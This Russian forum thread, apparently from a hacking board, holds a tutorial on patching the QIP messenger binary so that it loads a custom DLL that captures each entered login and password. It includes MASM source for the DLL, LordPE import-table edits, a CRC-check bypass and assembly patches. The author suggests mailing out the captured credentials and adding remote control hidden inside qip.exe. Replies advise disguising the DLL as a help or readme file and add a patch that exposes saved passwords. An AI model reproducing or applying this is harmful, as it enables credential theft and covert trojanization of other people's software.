Часто в программах мгновенного обмена сообщениями отсутствуют просто необходимые функции, а разработчики даже не планируют их добавлять. Для расширения функционала можно воспользоваться SDK, однако его практически невозможно получить, а тот, который находится в свободном доступе даже не допускает отправки сообщений. Сейчас мы будем исправлять это досадное положение и напишем плагин, который будет обрабатывать, вводимый в QIP логин и пароль. Для этого нам понадобятся: 1) QIP (на момент написания версии 8092) 2) Какой-нибудь компилятор (я использовал masm) 3) OllyDbg 4) LordPE Для начала напишем сам плагин, который представляет собой динамическую библиотеку, экспортирующую функцию GetInf, которая в качестве параметров получает виртуальные адреса логина и пароля. Вот пример реализации на asm: Code: .386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib ; Объявление экспортируемой функции GetInf PROTO :DWORD,:DWORD SendData PROTO .data? xPass db 20 dup(?) xUIN db 20 dup(?) ThreadID DWORD ? .code DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD mov eax,TRUE ret DllEntry Endp GetInf proc UIN:DWORD, Pass:DWORD LOCAL hFile: DWORD ; Чтобы qip не зависал на время обработки, полученных плагином данных, ; создаем отдельный поток в котором все это будет происходить ; Но перед этим копируем UIN и пароль в выделенную область памяти ; (после вызова GetInf qip может их удалить) invoke lstrcpy, addr xUIN, UIN invoke lstrcpy, addr xPass, Pass invoke CreateThread,NULL,NULL,addr SendData,NULL,0,addr ThreadID invoke CloseHandle,eax ret GetInf endp SendData proc ; Здесь происходит обработка принятых логина и пароля ; Пока это просто вывод сообщения с данными, но можно добавить ; сохранение этих данных в файл, отправку на mail или по icq invoke MessageBox,0,addr xPass, addr xUIN, MB_OK ret SendData endp End DllEntry Может вышеприведенный код кого-то и испугает, но на самом деле его довольно просто переписать на другом языке и добавить в него все, что позволяет ваша фантазия. (Например удаленное управление компом. Код будет выполнятся в контексте процесса qip.exe, так что пропадает необходимость скрывать процесс, также врядли кому-нибудь покажется подозрительным, что qip решил выйти в сеть). Для дельфей функция будет выглядеть как-то так: procedure GetInf(uinChar; passChar); stdcall; external 'fqip.dll'; Скомпилированную библиотеку кладем в папку рядом с qip.exe. Теперь добавим наш плагин в таблицу импорта кипа. Для этого запускаем LordPE, жмем кнопку PE Editor и выбираем qip.exe. Записываем ImageBase (00400000 пригодится позже). Далее нажимаем Directories и ,напротив надписи Import Table жмем "...". В верхней части появившегося окна из меню, появляющегося при нажатии правой кнопки мыши, выбираем пункт add import. Вписываем имя плагина (fQIP.dll) и название функции (GetInf), нажимаем +, потом OK. В верхней части окна выбираем имя добавленной библиотеки, а в нижней- видим импортированную функцию. Записываем для нее ThunkRVA (у меня 00328012). Закрываем все окна Lord PE, нажимая кнопку Save, везьде где она есть. Запускаем qip и видим сообщение об ошибке. Проверка CRC. Как это обойти можно посмотреть здесь http://forum.antichat.ru/thread106619.html. Я пошел более простым путем и поставил bp MessageBoxA в плагине CommandLine. Нажал F9 и попал в MessageBoxA, потом вернулся к коду программы по Alt+F9, закрыв перед этим появившееся сообщение. Далее исправляем условный переход, как написано по ссылке выше и сохраняем изменения. Теперь qip запускается нормально. Запускаем qip под отладчиком и ставим bp MessageBoxA. Оставляем поле пароль не заполненными и нажимаем кнопку "Подключиться". Вываливаемся в отладчике и переходим по Ctrl+F9 на 2 уровня вверх, не забыв закрыть окно об ошибке. Попадаем сюда: Code: 00624D18 |. E8 D740E7FF CALL qip.00498DF4 00624D1D |. 837D F4 00 CMP DWORD PTR SS:[EBP-C],0 00624D21 |. 0F85 DF000000 JNZ qip.00624E06 00624D27 |> 6A 40 PUSH 40 00624D29 |. A1 48F06900 MOV EAX,DWORD PTR DS:[69F048] 00624D2E |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 00624D30 |. E8 3B05DEFF CALL qip.00405270 00624D35 |. 50 PUSH EAX 00624D36 |. A1 18F26900 MOV EAX,DWORD PTR DS:[69F218] 00624D3B |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 00624D3D |. E8 2E05DEFF CALL qip.00405270 00624D42 |. 8BD0 MOV EDX,EAX 00624D44 |. A1 98FD6900 MOV EAX,DWORD PTR DS:[69FD98] 00624D49 |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 00624D4B |. 59 POP ECX 00624D4C |. E8 D32FE6FF CALL qip.00487D24 00624D51 |. 8B83 2C030000 MOV EAX,DWORD PTR DS:[EBX+32C] Очевидно, что проверка введенных данных происходит перед условным переходом: Code: 00624D1D |. 837D F4 00 CMP DWORD PTR SS:[EBP-C],0 00624D21 |. 0F85 DF000000 JNZ qip.00624E06 Немного выше происходит подобная проверка для пароля: Code: 00624CFE |. 837D F8 00 CMP DWORD PTR SS:[EBP-8],0 00624D02 |. 74 23 JE SHORT qip.00624D27 Ставим брейкпоинт по адресу 00624CFE клавишей F2, заполняем все поля, подключаемся и видим, что стеке по адресу EBP-8 лежит введенный пароль, а по адресу EBP-C - логин. Теперь необходимо вызвать функцию GetInf и передать ей параметры. Для этого выберем место, где будет получать управление наш код. Например по адресу 00624E06. Теперь ищем свободное место: немного ниже точки входа его полно: Code: 006941AC 0000 ADD BYTE PTR DS:[EAX],AL Записываем инструкции по адресу 00624E06 и вместо нее пишем переход на наш код и запоминаем адрес возврата 00624E0B: Code: ;Было: 00624E06 |> 80BB 97030000 >CMP BYTE PTR DS:[EBX+397],0 ;Стало: 00624E06 E9 A1F30600 JMP qip.006941AC 00624E0B 90 NOP 00624E0C 90 NOP Теперь переходим к найденному свободному месту и начинаем писать код: Code: ;Сохраняем регистры в стек на всякий случай pushad ;Передаем параметры функции в обратном порядке push DWORD [EBP-8] push DWORD [EBP-C] ;Вызываем функцию GetInf. Адрес находится как ImageBase+ThunkRVA ;0x00400000+0x00328012=0x00728012 call [728012] ;Возвращаем параметры из стека popad ;Вставляем, перезаписанную нами инструкцию CMP BYTE PTR DS:[EBX+397],0 ;Возвращаемся назад jmp 00624E0B Теперь из меню по правой кнопки мыши выбираем пункт Copy to executable и All modifications. Закрываем окно и сохраняем изменения. Запускаем кип, вводим логин и пароль, жмем подключение и видим в окне полученные данные. Теперь его можно использовать по назначению. Кроме qip этот метод я опробовал на mail агенте и icq 5.1.
Немного не понятно зачем длл. всё равно ведь приходится патчить. Мне кажеца лучше засунуть сразу всё в основной фаил).
А отправку на почту тоже в отладчике писать? Может у кого-то терпения и хватит, но свободного места в файле может не хватить. А так в dll можно писать сколько угодно и на любом языке.
Наглым образом украл мою идею. Я подобное хотел написать, но времяни небыло. В этоге время нашлось только на то, чтобы описать как патчить QIP от CRC А так понравилось как реализовано, так что +5
Пишеш на том же масме, потом рипнуть и подправить. А проблема с местом решаеца добавлением новой секции. длл имхо не прикольно.
Править придется не только код, но и с импортом мучиться. А длл - полностью готовое решение, не нравится расширение- можно переименовать в help. chm или readme.txt.
zeppe1in, преимущество длл в скорости написания кода, инжектить код в ехе напрямую требует базонезависимого кода
Хе-хе, тут есть бага) Если стоит галочка "Сохранять пароль", то в поле пароль записано (не помню точно) что-то типа "<:HIDDEN:>" и оригинальный пароль проявляется только на стадии уже попытки входа. Столкнулся с этим, когда сам qip правил. Так что надо по-хитрее инжектиться.
При помощи плагина Ultra String Reference нашел надпись <:hidden:>. Code: 00620005 |> 83BB 8C030000 >CMP DWORD PTR DS:[EBX+38C],0 ; Проверяется есть ли пароль 0062000C |. 74 10 JE SHORT -qip.0062001E 0062000E BA D8056200 MOV EDX,-qip.006205D8 ; <:hidden:> 00620013 |. 8B83 2C030000 MOV EAX,DWORD PTR DS:[EBX+32C] 00620019 E8 DE78E4FF CALL -qip.004678FC ; Установка надписи Теперь вместо <:hidden:> пишем пароль, который находится по адресу [EBX+38C]. Места для этого маловато, поэтому делаем так: Code: 00620005 8B93 8C030000 MOV EDX,DWORD PTR DS:[EBX+38C] 0062000B 85D2 TEST EDX,EDX 0062000D 74 0F JE SHORT -qip.0062001E 0062000F 90 NOP 00620010 90 NOP 00620011 90 NOP 00620012 90 NOP 00620013 |. 8B83 2C030000 MOV EAX,DWORD PTR DS:[EBX+32C] 00620019 E8 DE78E4FF CALL -qip.004678FC
Вопрос по теме квипа(чтоб не создавать стопицот топиков)- Можно- ли сделать подмену идента клиента (Чтоб у других? а не у меня отображалось вместо QIP ver. 2005(8092) что либо другое) на свою, тобишь на любую(допустим Превед Медвед")
Можно поменять в настройках. Но "Превед Медвед" не поставишь. Идентификаторы представляют собой числовые константы.